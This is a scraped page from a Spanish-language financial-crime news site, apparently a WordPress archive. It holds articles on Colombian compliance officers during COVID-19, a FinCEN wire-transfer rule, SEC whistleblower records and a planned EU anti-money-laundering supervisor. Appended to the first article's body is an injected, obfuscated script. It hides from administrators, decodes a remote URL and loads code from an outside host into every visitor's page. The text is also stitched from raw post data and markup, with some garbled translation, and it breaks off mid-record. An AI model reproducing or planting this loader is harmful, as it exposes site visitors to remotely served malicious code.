riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 